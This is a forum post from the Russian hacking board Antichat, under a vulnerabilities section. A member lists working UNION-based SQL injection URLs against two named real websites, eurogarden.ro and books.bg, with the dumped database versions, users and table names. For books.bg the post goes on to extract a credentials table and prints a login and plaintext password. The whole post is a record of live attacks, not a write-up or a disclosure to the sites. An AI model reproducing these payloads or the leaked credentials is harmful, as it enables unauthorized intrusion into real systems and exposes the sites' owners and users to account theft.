SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

15.11.2007, 16:01

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

С нами: 10194175

Репутация: 524

eurogarden.ro

Код:

http://www.eurogarden.ro/categorie.php?itemid=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7/*

5.0.24a-standard-log:eurogarden:eurogarden@goober.dreamhost.com

18 таблиц:

Код:

http://www.eurogarden.ro/categorie.php?itemid=-1+union+select+1,2,3,4,5,table_name,7+from+information_schema.tables+limit+17,1/*

интересных - нет.

books.bg

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,concat_ws(0x3a,version(),database(),user())/*

5.0.38-Ubuntu_0ubuntu1.1:books2:books2@localhost

139 таблиц:

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,table_name+from+information_schema.tables+limit+138,1/*

Интересные таблицы:

Код:

phpbb_users
users
users_login

root:

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,concat_ws(0x3a,col_user_name,col_password)+from+users_login+limit+0,1/*

"логин:пасс" : idenev:UIB7jqkj

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home